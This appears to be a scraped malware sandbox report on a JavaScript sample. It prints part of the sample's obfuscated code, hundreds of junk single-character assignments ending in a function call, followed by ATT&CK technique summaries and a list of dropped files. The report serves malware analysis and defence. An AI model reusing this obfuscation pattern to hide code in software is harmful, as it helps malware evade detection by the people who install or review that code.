597	avjgyt = "f";
598	avjgyt = "D";
599	avjgyt = "d";
600	avjgyt = "r";
601	avjgyt = "z";
602	avjgyt = "f";
603	avjgyt = "O";
604	avjgyt = "M";
605	avjgyt = "R";
606	avjgyt = "u";
607	avjgyt = "P";
608	avjgyt = "s";
609	avjgyt = "Q";
610	avjgyt = "a";
611	avjgyt = "a";
612	avjgyt = "h";
613	avjgyt = "U";
614	avjgyt = "m";
615	avjgyt = "E";
616	avjgyt = "n";
617	avjgyt = "f";
618	avjgyt = "9";
619	zjmlwsgz = "A";
620	zjmlwsgz = "l";
621	zjmlwsgz = "S";
622	zjmlwsgz = "w";
623	zjmlwsgz = "U";
624	zjmlwsgz = "c";
625	zjmlwsgz = "L";
626	zjmlwsgz = "A";
627	zjmlwsgz = "A";
628	zjmlwsgz = "G";
629	zjmlwsgz = "Y";
630	zjmlwsgz = "L";
631	zjmlwsgz = "O";
632	zjmlwsgz = "k";
633	zjmlwsgz = "W";
634	zjmlwsgz = "G";
635	zjmlwsgz = "K";
636	zjmlwsgz = "H";
637	zjmlwsgz = "z";
638	zjmlwsgz = "H";
639	zjmlwsgz = "w";
640	yatzxajtm = "z";
641	yatzxajtm = "I";
642	yatzxajtm = "n";
643	yatzxajtm = "H";
644	yatzxajtm = "J";
645	yatzxajtm = "O";
646	yatzxajtm = "f";
647	yatzxajtm = "c";
648	yatzxajtm = "E";
649	yatzxajtm = "B";
650	yatzxajtm = "o";
651	yatzxajtm = "F";
652	yatzxajtm = "n";
653	yatzxajtm = "U";
654	yatzxajtm = "w";
655	yatzxajtm = "U";
656	yatzxajtm = "v";
657	yatzxajtm = "W";
658	yatzxajtm = "w";
659	yatzxajtm = "r";
660	yatzxajtm = "B";
661	yatzxajtm = "g";
662	yatzxajtm = "A";
663	yatzxajtm = "T";
664	yatzxajtm = "T";
665	yatzxajtm = "X";
666	yatzxajtm = "n";
667	yatzxajtm = "6";
668	csjex = "n";
669	csjex = "f";
670	csjex = "l";
671	csjex = "l";
672	csjex = "b";
673	csjex = "t";
674	csjex = "n";
675	csjex = "M";
676	csjex = "c";
677	csjex = "o";
678	csjex = "q";
679	csjex = "A";
680	csjex = "l";
681	csjex = "V";
682	csjex = "N";
683	csjex = "P";
684	csjex = "x";
685	csjex = "W";
686	csjex = "b";
687	csjex = "o";
688	csjex = "H";
689	csjex = "p";
690	csjex = "M";
691	csjex = "K";
692	csjex = "n";
693	csjex = "Q";
694	csjex = "v";
695	csjex = "G";
696	csjex = "u";
697	csjex = "R";
698	csjex = "b";
699	csjex = "W";
700	csjex = "l";
701	csjex = "J";
702	csjex = "r";
703	csjex = "q";
704	csjex = "Y";
705	csjex = "W";
706	csjex = "U";
707	csjex = "O";
708	onnkc = "s";
709	onnkc = "d";
710	onnkc = "j";
711	onnkc = "z";
712	onnkc = "I";
713	onnkc = "b";
714	onnkc = "i";
715	onnkc = "o";
716	onnkc = "K";
717	zrudmi = "S";
718	zrudmi = "u";
719	zrudmi = "_";
720	sipagxalr = "v";
721	sipagxalr = "X";
722	sipagxalr = "y";
723	sipagxalr = "b";
724	sipagxalr = "f";
725	sipagxalr = "u";
726	sipagxalr = "o";
727	sipagxalr = "S";
728	sipagxalr = "Z";
729	sipagxalr = "Q";
730	sipagxalr = "w";
731	sipagxalr = "o";
732	sipagxalr = "e";
733	sipagxalr = "b";
734	sipagxalr = "v";
735	mazpcfnfe = "L";
736	mazpcfnfe = "N";
737	mazpcfnfe = "R";
738	mazpcfnfe = "V";
739	mazpcfnfe = "t";
740	mazpcfnfe = "D";
741	mazpcfnfe = "N";
742	mazpcfnfe = "J";
743	mazpcfnfe = "y";
744	mazpcfnfe = "A";
745	mazpcfnfe = "S";
746	mazpcfnfe = "K";
747	mazpcfnfe = "q";
748	mazpcfnfe = "s";
749	mazpcfnfe = "c";
750	mazpcfnfe = "Z";
751	mazpcfnfe = "n";
752	mazpcfnfe = "Z";
753	mazpcfnfe = "p";
754	mazpcfnfe = "M";
755	mazpcfnfe = "j";
756	mazpcfnfe = "i";
757	mazpcfnfe = "b";
758	mazpcfnfe = "x";
759	mazpcfnfe = "I";
760	mazpcfnfe = "\\";
761	pougsse = "I";
762	pougsse = "h";
763	pougsse = "z";
764	pougsse = "o";
765	pougsse = "Z";
766	pougsse = "P";
767	pougsse = "r";
768	pougsse = "U";
769	pougsse = "v";
770	pougsse = "D";
771	pougsse = "M";
772	pougsse = "r";
773	pougsse = "a";
774	pougsse = "v";
775	pougsse = "g";
776	pougsse = "w";
777	pougsse = "V";
778	pougsse = "N";
779	pougsse = "F";
780	pougsse = "B";
781	pougsse = "K";
782	pougsse = "o";
783	pougsse = "X";
784	pougsse = "L";
785	pougsse = "f";
786	pougsse = "y";
787	pougsse = "U";
788	pougsse = "B";
789	pougsse = "Z";
790	pougsse = "A";
791	pougsse = "G";
792	pougsse = "t";
793	pougsse = "N";
794	pougsse = "E";
795	pougsse = "L";
796	pougsse = "V";
797	pougsse = "O";
798	pougsse = "U";
799	pougsse = "F";
800	pougsse = "d";
801	pougsse = "m";
802	ejgyvsoo = "Z";
803	ejgyvsoo = "A";
804	ejgyvsoo = "v";
805	ejgyvsoo = "\"";
806	glinf = "H";
807	glinf = "Q";
808	glinf = "B";
809	glinf = "R";
810	glinf = "n";
811	glinf = "A";
812	glinf = "h";
813	glinf = "B";
814	glinf = "c";
815	glinf = "n";
816	glinf = "Z";
817	glinf = "X";
818	glinf = "P";
819	glinf = "u";
820	glinf = "F";
821	glinf = "i";
822	glinf = "J";
823	glinf = "U";
824	glinf = "M";
825	glinf = "b";
826	qgcpvpk = "b";
827	qgcpvpk = "N";
828	qgcpvpk = "R";
829	qgcpvpk = "P";
830	qgcpvpk = "H";
831	qgcpvpk = "d";
832	qgcpvpk = "o";
833	qgcpvpk = "T";
834	qgcpvpk = "L";
835	qgcpvpk = "O";
836	qgcpvpk = "p";
837	qgcpvpk = "L";
838	qgcpvpk = "Y";
839	qgcpvpk = "R";
840	qgcpvpk = "w";
841	qgcpvpk = "j";
842	qgcpvpk = "R";
843	qgcpvpk = "a";
844	qgcpvpk = "X";
845	qgcpvpk = "s";
846	qgcpvpk = "r";
847	qgcpvpk = "S";
848	qgcpvpk = "T";
849	qgcpvpk = "t";
850	qgcpvpk = "X";
851	qgcpvpk = "M";
852	qgcpvpk = "J";
853	qgcpvpk = "h";
854	qgcpvpk = "S";
855	qgcpvpk = "w";
856	qgcpvpk = "J";
857	qgcpvpk = "W";
858	qgcpvpk = ".";
859	ijmmlxlws = "N";
860	ijmmlxlws = "j";
861	ijmmlxlws = "v";
862	ijmmlxlws = "V";
863	ijmmlxlws = "D";
864	ijmmlxlws = "g";
865	ijmmlxlws = "v";
866	ijmmlxlws = "j";
867	ijmmlxlws = "L";
868	ijmmlxlws = "X";
869	ijmmlxlws = "a";
870	ijmmlxlws = "l";
871	ijmmlxlws = "p";
872	ijmmlxlws = "U";
873	ijmmlxlws = "z";
874	ijmmlxlws = "2";
875	mmfhdnlf = "p";
876	mmfhdnlf = "V";
877	mmfhdnlf = "X";
878	mmfhdnlf = "q";
879	mmfhdnlf = "s";
880	mmfhdnlf = "E";
881	mmfhdnlf = "B";
882	mmfhdnlf = "j";
883	mmfhdnlf = "j";
884	mmfhdnlf = "q";
885	mmfhdnlf = "m";
886	mmfhdnlf = "W";
887	mmfhdnlf = "t";
888	mmfhdnlf = "N";
889	mmfhdnlf = "c";
890	mmfhdnlf = "L";
891	mmfhdnlf = "U";
892	mmfhdnlf = "I";
893	fuegml = "u";
894	fuegml = "v";
895	fuegml = "J";
896	fuegml = "f";
897	fuegml = "p";
898	fuegml = "h";
899	fuegml = "U";
900	fuegml = "Y";
901	fuegml = "a";
902	fuegml = "o";
903	fuegml = "I";
904	fuegml = "d";
905	fuegml = "n";
906	fuegml = "B";
907	fuegml = "P";
908	fuegml = "O";
909	fuegml = "i";
910	fuegml = "I";
911	fuegml = "D";
912	fuegml = "Z";
913	fuegml = "e";
914	fuegml = "Z";
915	fuegml = "M";
916	fuegml = "b";
917	fuegml = "J";
918	fuegml = "r";
919	fuegml = "P";
920	fuegml = "D";
921	fuegml = "V";
922	fuegml = "i";
923	fuegml = "Z";
924	fuegml = "u";
925	fuegml = "w";
926	fuegml = "u";
927	fuegml = "H";
928	fuegml = "b";
929	fuegml = "H";
930	fuegml = "s";
931	fuegml = "p";
932	fuegml = "h";
933	fuegml = "v";
934	fuegml = "@";
935	stedoablk = "D";
936	stedoablk = "M";
937	stedoablk = "Y";
938	stedoablk = "W";
939	stedoablk = "I";
940	stedoablk = "M";
941	stedoablk = "G";
942	stedoablk = "O";
943	stedoablk = "F";
944	stedoablk = "k";
945	tfjifp = "R";
946	vpuow = "G";
947	vpuow = "W";
948	vpuow = "T";
949	vpuow = "D";
950	vpuow = "L";
951	vpuow = "q";
952	vpuow = "R";
953	vpuow = "c";
954	vpuow = "x";
955	vpuow = "p";
956	vpuow = "d";
957	rogsd = "t";
958	rogsd = "s";
959	rogsd = "w";
960	rogsd = "d";
961	rogsd = "x";
962	rogsd = "r";
963	rogsd = "x";
964	rogsd = "m";
965	rogsd = "v";
966	rogsd = "Z";
967	rogsd = "F";
968	rogsd = "w";
969	rogsd = "E";
970	rogsd = "g";
971	rogsd = "f";
972	rogsd = "s";
973	rogsd = "a";
974	rogsd = "V";
975	rogsd = "o";
976	rogsd = "A";
977	rogsd = "N";
978	rogsd = "f";
979	rogsd = "v";
980	rogsd = "L";
981	rogsd = "f";
982	rogsd = "E";
983	rogsd = "J";
984	rogsd = "z";
985	rogsd = "Q";
986	rogsd = "X";
987	rogsd = "e";
988	rogsd = "o";
989	rogsd = "m";
990	rogsd = "I";
991	rogsd = "g";
992	rogsd = "F";
993	rogsd = "q";
994	rogsd = "r";
995	rogsd = "B";
996	rogsd = "o";
997	rogsd = "Y";
998	rogsd = "f";
999	rogsd = "o";
1000	rogsd = "c";
1001	qdxmlke = "G";
1002	qdxmlke = "L";
1003	qdxmlke = "J";
1004	qdxmlke = "M";
1005	qdxmlke = "p";
1006	qdxmlke = "W";
1007	qdxmlke = "z";
1008	qdxmlke = "D";
1009	qdxmlke = "U";
1010	qdxmlke = "T";
1011	qdxmlke = "g";
1012	qdxmlke = "T";
1013	qdxmlke = "e";
1014	qdxmlke = "c";
1015	qdxmlke = "w";
1016	qdxmlke = "n";
1017	qdxmlke = "F";
1018	qdxmlke = "1";
1019	zxzfnwzrb = "N";
1020	zxzfnwzrb = "W";
1021	zxzfnwzrb = "A";
1022	zxzfnwzrb = "A";
1023	zxzfnwzrb = "F";
1024	zxzfnwzrb = "I";
1025	zxzfnwzrb = "d";
1026	zxzfnwzrb = "v";
1027	zxzfnwzrb = "n";
1028	zxzfnwzrb = "z";
1029	zxzfnwzrb = "X";
1030	zxzfnwzrb = "F";
1031	zxzfnwzrb = "g";
1032	zxzfnwzrb = "n";
1033	zxzfnwzrb = "f";
1034	zxzfnwzrb = "E";
1035	zxzfnwzrb = "7";
1036	gdgradj = "j";
1037	gdgradj = "f";
1038	gdgradj = "U";
1039	gdgradj = "h";
1040	gdgradj = "x";
1041	gdgradj = "G";
1042	gdgradj = "T";
1043	gdgradj = "O";
1044	gdgradj = "r";
1045	gdgradj = "Q";
1046	gdgradj = "A";
1047	gdgradj = "A";
1048	gdgradj = "t";
1049	gdgradj = "L";
1050	gdgradj = "j";
1051	gdgradj = "S";
1052	gdgradj = "I";
1053	gdgradj = "-";
1054	vnqbr = "G";
1055	vnqbr = "e";
1056	vnqbr = "C";
1057	vnqbr = "T";
1058	vnqbr = "m";
1059	vnqbr = "P";
1060	vnqbr = "J";
1061	vnqbr = "r";
1062	vnqbr = "o";
1063	vnqbr = "o";
1064	jpqumv = "t";
1065	jpqumv = "A";
1066	jpqumv = "L";
1067	jpqumv = "p";
1068	jpqumv = "n";
1069	jpqumv = "g";
1070	jpqumv = "r";
1071	jpqumv = "q";
1072	jpqumv = "M";
1073	jpqumv = "z";
1074	jpqumv = "l";
1075	jpqumv = "V";
1076	jpqumv = "z";
1077	jpqumv = "X";
1078	jpqumv = "z";
1079	jpqumv = "J";
1080	jpqumv = "l";
1081	rbjbm = "l";
1082	rbjbm = "u";
1083	dcjrjz = "Y";
1084	dcjrjz = "c";
1085	dcjrjz = "J";
1086	dcjrjz = "w";
1087	dcjrjz = "j";
1088	dcjrjz = "X";
1089	dcjrjz = "h";
1090	hgzwttycu = "Z";
1091	hgzwttycu = "B";
1092	hgzwttycu = "R";
1093	hgzwttycu = "f";
1094	hgzwttycu = "w";
1095	hgzwttycu = "A";
1096	hgzwttycu = "H";
1097	hgzwttycu = "x";
1098	hgzwttycu = "E";
1099	hgzwttycu = "Z";
1100	hgzwttycu = "X";
1101	hgzwttycu = "R";
1102	hgzwttycu = "y";
1103	hgzwttycu = "M";
1104	hgzwttycu = "F";
1105	hgzwttycu = "m";
1106	hgzwttycu = "r";
1107	hgzwttycu = "j";
1108	hgzwttycu = "C";
1109	hgzwttycu = "q";
1110	hgzwttycu = "D";
1111	hgzwttycu = "y";
1112	hgzwttycu = "V";
1113	hgzwttycu = "E";
1114	hgzwttycu = "v";
1115	hgzwttycu = "i";
1116	hgzwttycu = "A";
1117	hgzwttycu = "k";
1118	hgzwttycu = "o";
1119	hgzwttycu = "F";
1120	hgzwttycu = "x";
1121	hgzwttycu = "d";
1122	hgzwttycu = "a";
1123	hgzwttycu = "U";
1124	hgzwttycu = "G";
1125	hgzwttycu = "G";
1126	hgzwttycu = "h";
1127	hgzwttycu = "r";
1128	hgzwttycu = "K";
1129	hgzwttycu = "V";
1130	hgzwttycu = "4";
1131	cwymjnjy = "a";
1132	cwymjnjy = "n";
1133	cwymjnjy = "S";
1134	nuhaumor = "J";
1135	nuhaumor = "c";
1136	nuhaumor = "C";
1137	nuhaumor = "l";
1138	nuhaumor = "t";
1139	nuhaumor = "p";
1140	nuhaumor = "M";
1141	nuhaumor = "A";
1142	nuhaumor = "s";
1143	nuhaumor = "j";
1144	nuhaumor = "x";
1145	nuhaumor = "d";
1146	nuhaumor = "K";
1147	nuhaumor = "C";
1148	nuhaumor = "V";
1149	nuhaumor = "J";
1150	nuhaumor = "S";
1151	nuhaumor = "n";
1152	nuhaumor = "y";
1153	nuhaumor = "m";
1154	nuhaumor = "C";
1155	nuhaumor = "A";
1156	nuhaumor = "T";
1157	nuhaumor = "Y";
1158	nuhaumor = "h";
1159	nuhaumor = "U";
1160	nuhaumor = "q";
1161	nuhaumor = "T";
1162	qhowc = "H";
1163	qhowc = "u";
1164	qhowc = "d";
1165	qhowc = "a";
1166	qhowc = "o";
1167	qhowc = "S";
1168	qhowc = "C";
1169	qhowc = "V";
1170	qhowc = "R";
1171	qhowc = "B";
1172	qhowc = "d";
1173	qhowc = "d";
1174	qhowc = "D";
1175	qhowc = "O";
1176	qhowc = "o";
1177	qhowc = "w";
1178	qhowc = "l";
1179	qhowc = "l";
1180	qhowc = "c";
1181	qhowc = "r";
1182	qhowc = "N";
1183	qhowc = "M";
1184	qhowc = "q";
1185	qhowc = "s";
1186	qhowc = "Z";
1187	qhowc = "M";
1188	qhowc = "P";
1189	qhowc = "L";
1190	qhowc = "c";
1191	qhowc = "n";
1192	qhowc = "Z";
1193	qhowc = "m";
1194	qhowc = "r";
1195	qhowc = "i";
1196	ovmiqfoc = "e";
1197	ovmiqfoc = "X";
1198	ovmiqfoc = "g";
1199	ovmiqfoc = "U";
1200	ovmiqfoc = "D";
1201	ovmiqfoc = "h";
1202	ovmiqfoc = "s";
1203	ovmiqfoc = "F";
1204	ovmiqfoc = "a";
1205	ovmiqfoc = "P";
1206	ovmiqfoc = "z";
1207	ovmiqfoc = "D";
1208	ovmiqfoc = "S";
1209	ovmiqfoc = "T";
1210	ovmiqfoc = "s";
1211	ovmiqfoc = "R";
1212	ovmiqfoc = "o";
1213	ovmiqfoc = "s";
1214	ovmiqfoc = "E";
1215	ovmiqfoc = "J";
1216	ovmiqfoc = "v";
1217	ovmiqfoc = "F";
1218	ovmiqfoc = "v";
1219	ovmiqfoc = "t";
1220	ovmiqfoc = "i";
1221	ovmiqfoc = " ";
1222	ukkylmjg = "d";
1223	ukkylmjg = "o";
1224	ukkylmjg = "l";
1225	ukkylmjg = "l";
1226	ukkylmjg = "j";
1227	ukkylmjg = "R";
1228	ukkylmjg = "H";
1229	ukkylmjg = "q";
1230	ukkylmjg = "l";
1231	ukkylmjg = "y";
1232	ukkylmjg = "G";
1233	ukkylmjg = "D";
1234	ukkylmjg = "u";
1235	ukkylmjg = "z";
1236	ukkylmjg = "l";
1237	ukkylmjg = "l";
1238	ukkylmjg = "H";
1239	ukkylmjg = "Q";
1240	ukkylmjg = "n";
1241	ukkylmjg = "A";
1242	ukkylmjg = "A";
1243	ukkylmjg = "x";
1244	ukkylmjg = "N";
1245	ukkylmjg = "B";
1246	ukkylmjg = "I";
1247	ukkylmjg = "W";
1248	ukkylmjg = "s";
1249	ukkylmjg = "T";
1250	ukkylmjg = "M";
1251	ukkylmjg = "y";
1252	ukkylmjg = "O";
1253	ukkylmjg = "F";
1254	ukkylmjg = "r";
1255	ukkylmjg = "n";
1256	jsauhg = "f";
1257	jsauhg = "J";
1258	jsauhg = "c";
1259	jsauhg = "v";
1260	jsauhg = "O";
1261	jsauhg = "Q";
1262	jsauhg = "w";
1263	jsauhg = "n";
1264	jsauhg = "V";
1265	jsauhg = "O";
1266	jsauhg = "q";
1267	bprvbrbfe = "y";
1268	bprvbrbfe = "H";
1269	bprvbrbfe = "r";
1270	bprvbrbfe = "/";
1271	hriakobpt = "C";
1272	hriakobpt = "B";
1273	hriakobpt = "p";
1274	hriakobpt = "a";
1275	hriakobpt = "x";
1276	hriakobpt = "D";
1277	hriakobpt = "I";
1278	hriakobpt = "S";
1279	hriakobpt = "c";
1280	hriakobpt = "D";
1281	hriakobpt = "U";
1282	umzfjv ( );	umzfjv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 30362110952254914638.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9bcb2157-3dff-4da0-8b36-fcb2542d13f0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

